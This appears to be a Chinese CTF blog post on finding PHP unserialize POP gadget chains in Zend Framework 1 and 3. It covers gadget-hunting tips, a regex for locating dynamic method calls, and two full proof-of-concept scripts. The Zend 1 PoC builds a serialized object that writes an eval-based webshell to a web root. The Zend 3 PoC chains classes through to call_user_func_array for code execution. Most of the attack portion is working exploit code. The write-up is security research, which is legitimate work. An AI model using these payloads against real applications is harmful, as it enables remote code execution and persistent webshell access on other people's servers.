zend 框架pop挖掘
前言
前几天打了下das和pwnhub,审计zend框架的pop链,这里总结一下研究成果。
寻找利用链的一些思路
入口通常是__destruct,或者__wakeup方法。
结尾一般是存在file_put_contents或者call_user_func,call_user_func_array的方法,其中,任意方法调用基本上要在__call方法中去寻找,在找不到合适的call方法时,可以试着找找可以使用的__invoke的方法。
从入口到结尾一般需要寻找一系列函数作为跳板,如果目标是__call方法的话,个人习惯用一个寻找形如**$xxx->$yyy()**这样的方法,这样方法名和对象名均可控,易于触发任意方法执行。
一般使用这个正则查找。
1
\$(.*?)->\$(.*?)\(
还有一个可以提的跳板__toString方法,这个方法触发起来相当容易,基本上只要变量被当做字符来处理就可以触发。
__get和__set方法主要用来填补一些找不到属性的情况,有些时候会有用。
zend 1下pop链的挖掘
这个链比较简单,首先明确下zend版本1.12.16,down下来./zf.sh create project /xxx/zf1,很可惜这只能写shell。
首先找到__destruct,找头。
找__call,找尾call_user_func_array,发现这里的call和3不太一样,没法调用任意方法只有call_user_func_array([xxx,xxx],$paras);这样的,之后想找别的思路,找一个file_put_contents的点。
把所有file_put_contents的点看了下,发现Zend_CodeGenerator_Php_File中的的file_put_contents几乎完全可控。其中Zend_Log会调用write方法,这个需要注意php中调用xxx->write()**时参数多传是没事的,所以直接伪造_writers**即可。
1
2
3
4
5
6
7
8public function write(){
if ($this->_filename == '' || !is_writable(dirname($this->_filename))) {
require_once 'Zend/CodeGenerator/Php/Exception.php';
throw new Zend_CodeGenerator_Php_Exception('This code generator object is not writable.');
}
file_put_contents($this->_filename, $this->generate());
return $this;
}1
2
3
4
5
6
7
8
9
10
11public function log($message, $priority, $extras = null)
{
// sanity check
...
// send to each writer
/** @var Zend_Log_Writer_Abstract $writer */
foreach ($this->_writers as $writer) {
$writer->write($event);
}
}理清思路
上poc
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
class Zend_Memory_Manager
{
private $_backend = null;
public function setBackend($_backend)
{
$this->_backend = $_backend;
}
}
class Zend_Log
{
protected $_writers = array();
protected $_priorities = array();
public function setWriters($_writers)
{
$this->_writers = $_writers;
}
public function setPriorities($_priorities)
{
$this->_priorities = $_priorities;
}
}
class Zend_CodeGenerator_Php_File
{
protected $_filename = null;
protected $_isSourceDirty = true;
protected $_sourceContent = null;
protected $_docblock = null;
public function setFilename($_filename)
{
$this->_filename = $_filename;
}
public function setIsSourceDirty($_isSourceDirty)
{
$this->_isSourceDirty = $_isSourceDirty;
}
public function setSourceContent($_sourceContent)
{
$this->_sourceContent = $_sourceContent;
}
public function setDocblock($docblock)
{
$this->docblock = $docblock;
}
}
class Zend_CodeGenerator_Php_Docblock
{
protected $_docblock = null;
public function setDocblock($_docblock)
{
$this->_docblock = $_docblock;
}
}
$mm = new Zend_Memory_Manager;
$writer = new Zend_Log;
$phpfile = new Zend_CodeGenerator_Php_File;
$phpblock = new Zend_CodeGenerator_Php_Docblock;
$phpfile->setFilename("/var/www/html/public/asdw.php");
$phpfile->setSourceContent("<?php echo(md5(1));@eval(\$_POST[1]);?>");
$phpfile->setIsSourceDirty(false);
$phpblock->setDocblock(false);
$writer->setWriters([$phpfile]);
$writer->setPriorities(["CLEAN"]);
$phpfile->setDocblock($phpblock);
$mm->setBackend($writer);
echo urlencode(base64_encode(serialize($mm)));
zend3 pop rce
最新版的zend,冲就是了。
这边__destruct方法就比较少了就三个,这里我那unlink的文件名来触发__toString,这里作为头。
然后是继续找合适的call_user_func_array方法,找尾。可以使用__call,但我这里找了个更好的方法Zend\Validator\Callback,这个方法的代码大体如下,这里可以直接通过**$callback和$callbackOptions**来直接控制方法和参数:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34public function isValid($value, $context = null)
{
$this->setValue($value);
$options = $this->getCallbackOptions();
$callback = $this->getCallback();
if (empty($callback)) {
throw new Exception\InvalidArgumentException('No callback given');
}
$args = [$value];
if (empty($options) && ! empty($context)) {
$args[] = $context;
}
if (! empty($options) && empty($context)) {
$args = array_merge($args, $options);
}
if (! empty($options) && ! empty($context)) {
$args[] = $context;
$args = array_merge($args, $options);
}
try {
if (! call_user_func_array($callback, $args)) {
$this->error(self::INVALID_VALUE);
return false;
}
} catch (\Exception $e) {
$this->error(self::INVALID_CALLBACK);
return false;
}
return true;
}和例如Zend\View\Renderer\PhpRenderer这类方法的__call,这里的**$plugin**变量最终是完全可控的,但和上面那个方法名和参数不需要处理的链比起来倒是不方便很多。
1
2
3
4
5
6
7
8
9
10public function __call($method, $argv)
{
$plugin = $this->plugin($method);
if (is_callable($plugin)) {
return call_user_func_array($plugin, $argv);
}
return $plugin;
}
找个合适的__toString方法。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17public function __toString()
{
return $this->toString();
}
public function toString()
{
return $this->getFieldName() . ': ' . $this->getUri();
}
public function getUri()
{
if ($this->uri instanceof UriInterface) {
return $this->uri->toString();
}
return $this->uri;
}这里可以通过设置**$url,触发AbstractHelper**的toString方法
继续跟进
这里defaultProxy的变量默认的返回值menu
跟进get方法
这里getFactory能够返回一个对应的数组或者内部类的实例。
通过__invoke触发后续调用。
这里有个trick,可以使用[xxx,method]() 来直接xxx实例的method方法(仅限php7以上),或者实例化Zend\Validator\Callback类来触发__invoke方法。
跟入isValid方法中,这里需要注意的是call_user_func_array被传入的第一个参数来自doCreate函数的第一个参数,之后的参数可以由**$callbackOptions**返回。
最终poc
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
namespace Zend\Http\Response;
class Stream
{
protected $cleanup;
protected $streamName;
public function setCleanup($cleanup)
{
$this->cleanup = $cleanup;
}
public function setStreamName($streamName)
{
$this->streamName = $streamName;
}
}
namespace Zend\Http\Header;
class Referer
{
protected $uri;
public function setUri($uri)
{
$this->uri = $uri;
}
}
namespace Zend\View\Helper;
class Navigation
{
protected $plugins;
public function setPlugins($plugins)
{
$this->plugins = $plugins;
}
}
namespace Zend\Config;
class Config
{
protected $data = [];
protected $allowModifications = true;
public function setData($data)
{
$this->data = $data;
}
}
namespace Zend\Validator;
class Callback
{
protected $options = [
'callback' => null, // Callback in a call_user_func format, string || array
'callbackOptions' => [], // Options for the callback
];
public function setOptions($options)
{
$this->options = $options;
}
}
namespace Zend\ServiceManager;
class ServiceManager
{
private $resolvedAliases = [];
protected $creationContext;
protected $delegators = [];
protected $services = [];
protected $factories;
protected $abstractFactories = [];
public function setDelegators($delegators)
{
$this->delegators = $delegators;
}
public function setFactories($factories)
{
$this->factories = $factories;
}
public function setCreationContext($creationContext)
{
$this->creationContext = $creationContext;
}
public function setServices($services)
{
$this->services = $services;
}
}
use Zend\Http\Header\Referer;
use Zend\View\Helper\Navigation;
use Zend\Http\Response\Stream;
use Zend\Validator\Callback;
$s = new Stream;
$s->setCleanup(true);
$al = new Referer;
$n = new Navigation;
$s1 = new ServiceManager;
$callback = new Callback;
$callback->setOptions(['callback' => 'phpinfo', 'callbackOptions' => []]);
$arr = $callback;
$s1->setFactories(["menu" => $arr]);
$s1->setCreationContext(-1);
$n->setPlugins($s1);
$al->setUri($n);
$s->setStreamName($al);
echo urlencode(base64_encode(serialize($s)));
总结
实际上这轮pop不算特别难,认真找找也能出东西,中间调试也踩了不少坑,比较遗憾的是暂时还没找出zend 1 rce的链。下午又看了下是应该有的才对,问题应该也出在render方法上,然后再结合个__get函数来完成任意方法调用就好了。现在本人的找链的方法主要还是跟着危险函数找,正则拉出来一个一个对,不知道是不是能做自动化。反正这些坑以后再填好了(咕)。